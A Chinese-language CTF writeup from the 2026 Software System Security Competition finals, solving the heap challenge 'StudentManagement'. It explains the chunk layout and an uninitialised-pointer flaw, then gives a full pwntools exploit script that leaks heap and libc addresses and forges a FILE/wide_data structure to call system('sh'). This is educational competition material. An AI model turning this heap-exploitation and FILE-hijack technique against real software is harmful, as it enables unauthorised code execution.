[viclim-monou] 哥伦比娅 (Pixiv)
1468 字
7 分钟
[Writeup] 软件系统安全赛 2026 - 决赛 Pwn
1. StudentManagement
TIP这道题是唯一一道要求 Fix 的,但是我不会,不会修
1-1 分析
1-1-1 菜单功能一览
对于攻击来说,这是一个菜单堆
- 一个大菜单主要是申请堆块(Reg)和删除堆块(Del)

- 一个小菜单主要是输出内容(View)和部分修改(Bio)

1-1-2 堆块结构
我们来看申请堆块的函数
IMPORTANTbuf 是 Qword 类型指针,以 8 个字节为单位算
首先会申请可用大小是 0x88 的堆块,然后会往堆块写内容,其中:
- 前 0x10 是 ID,占大小 0x10
- 0x10 - 0x50 是 Name,占大小 0x40
- 0x50 - 0x70 是 Password,占大小 0x20
- 0x80 - 0x88 写入了某个地址,占大小是指针的 8 字节,这里 0x4030 是存放堆块地址的地方,而且是最近申请的堆块地址,这里是把自己的地址放上去,把原本的地址写到堆块的这个位置,不难看出这里要存一个单链表,我标注的
fnFindID其实就是遍历这个单链表 - 所有输入全末尾置 0 并且不会越界
再看上面提到的修改别名的函数
大小被限制到了 0x400,不存在就根据输入大小申一个,大小超了就释放了申请一个,堆块 0x70 的位置放了一个记录别名堆块的地址,堆块 0x78 写了一个堆块的大小(输出要用)
至此堆块的结构就解析完了
1-2 问题点 & 利用思路
我们回顾上面的别名堆块,他会先判断对应位置堆块地址存不存在,堆块符不符合要求,而且第一次增加别名的话并不会直接写一个地址上去,申请堆块也不会对堆块进行清零操作
这就会导致一个问题,我们如果有一个上面说过的堆块,这里正好可以留一个地址的话,我们就能在任意的某处写东西,进而构造成自己指自己的结构实现任意写
但是存在一个问题
正常 Free 会置 0,我们需要一个极其天才的设计,才能在对应位置写地址
1-3 解题思路
其实就是堆风水,我们需要
- 一个非 tcache,能分出堆块且大小适合的大堆块
- 看图说话
- 想尽一切办法,在这个非 tcache 的大堆上申一个绿色范围的堆块,然后释放,此时红色地方就会留下神秘小地址,这个工作基本交给 Bio 堆了
- 然后再想想办法,将控制堆块申到橙色位置,我们就能往神秘小位置写很多东西,因为大小位置也是神秘小地址,大小肯定够、
我认为红色位置是堆块地址是最有利的,可以构造任意写,所以我们对于大堆的要求是足够大,以至于我们分割这个大的 UnsortedBin 的时候可以留下 LargeBin 的头,而且大小范围内只有一个 LargeBin 的话指向的也是 0x33f0,符合任意写的要求,所以我们对应的绿色块其实小 0x10
考虑到输入截断太多,这个任意写肯定是要多次的,但是往非堆地方写一次就不能用了,所以我们考虑改多个控制堆,所以当时我构造了这样的
我们其他地方找个堆块,往大堆申请一个大的 Bio 堆,释放,红色地方留下地址,申请一个 0x88 的橙色控制堆,不释放,申请一个 0x88 的绿色控制堆,不释放,此时绿色堆可以往 0x3480 开始随便写
我们还能写到橙色堆块,覆盖它的指针,可以做到泄露地址,任意写功能等等,下面脚本会介绍部分操作
1-4 脚本
############################################################################## Start your exploit here############################################################################
def begin():
for i in range(10): add(i) login(i) edit(0x400, b'114514') logout()
add(10) add(11) add(12)
for i in range(9): rm(i)
for i in range(8): add(i)
for i in range(7): login(i) edit(0x400, b'114514') logout()
login(10) edit(0xe0, b'1919810') logout()
login(11) edit(0x400, b'1919810') logout()
for i in range(20, 27): add(i) login(i) edit(0xe0, b'1919810') logout()
for i in range(20, 27): rm(i)
for i in range(7): rm(i)
rm(10) rm(11)
for i in range(7): add(i)
for i in range(20, 27): add(i)
add(30) add(31)
add_s(32) add_s(33)
login_s(33) edit(33, b'\x00' * 32) logout()
login_s(32) edit(32, b'4545454545') logout()
login_null(33) choice(1) io.recvuntil(b'Bio: ') leak_addr = u64(io.recv(6).ljust(8, b'\x00')) log.info(hex(leak_addr)) heap_base = leak_addr - 0x24b0 log.info(hex(heap_base))
libc_addr = heap_base + 0x2398 payload = b'\x00' * 0x18 + p64(0x91) + b'\x00' * 0x70 + p64(libc_addr) edit(len(payload) + 1, payload) choice(1)
io.recvuntil(b'Bio: ') leak_addr = u64(io.recv(6).ljust(8, b'\x00')) log.info(hex(leak_addr)) libc_addr = leak_addr - (0x7b26f6403f50 - 0x7b26f6200000) log.info(hex(libc_addr))
_IO_2_1_stdout_addr = libc.sym['_IO_2_1_stdout_'] + libc_addr _IO_wfile_jumps_addr = libc.sym['_IO_wfile_jumps'] + libc_addr system_addr = libc.sym['system'] + libc_addr
file = FileStructure() file.flags = b' sh;' file._wide_data = heap_base + 0x25c0 file.vtable = _IO_wfile_jumps_addr + 24 - 0x38
wide = WideDataStructure()
# 过判断使用 wide._IO_read_ptr = system_addr wide._IO_write_base = 0 wide._IO_buf_base = 0
# 上文说的想执行地址的地址 wide._wide_vtable = heap_base + 0x25c0 - 0x68
payload = b'\x00' * 0x80 + p64(0x91) + b'\x00' * \ 0x70 + p64(_IO_2_1_stdout_addr) + b'\xff' * 16 payload += p64(0x31) + b'\x00' * 40 + p64(0x3b1) payload += bytes(file) + bytes(wide)
edit(len(payload) + 1, payload)
payload = bytes(file)
pause() edit(len(payload), payload)
io.interactive()
def choice(num): io.sendlineafter(b'>', str(num).encode())
def add(id): choice(1) id = str(id).encode() id = id.ljust(15, b'\x20') name = id.ljust(63, b'\x20') io.sendafter(b'ID:', id) io.sendafter(b'Name:', name) io.sendafter(b'Pass:', b'a' * 31)
def add_s(id): choice(1) id = str(id).encode() io.sendafter(b'ID:', id) io.sendafter(b'Name:', id) io.sendafter(b'Pass:', b'aaa')
def rm(id): choice(3) id = str(id).encode() id = id.ljust(15, b'\x20') io.sendafter(b'ID to delete:', id)
def login(id): choice(2) id = str(id).encode() id = id.ljust(15, b'\x20') io.sendafter(b'ID:', id) io.sendafter(b'Pass:', b'a' * 31)
def login_s(id): choice(2) io.sendafter(b'ID:', str(id).encode()) io.sendafter(b'Pass:', b'aaa')
def login_null(id): choice(2) io.sendafter(b'ID:', str(id).encode()) io.sendafter(b'Pass:', b'\x00')
def edit(size, con): choice(2) io.sendlineafter(b'size', str(size).encode()) io.sendafter(b'tent', con)
def logout(): choice(0)2. Traditional
准备考研,慢慢更新…
3. 带代理的神秘小游戏(忘了叫啥了)
缺逆向手,没做出来,也是等待更新…
[Writeup] 软件系统安全赛 2026 - 决赛 Pwn
https://blog.lufiende.work/posts/ctf/writeups/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/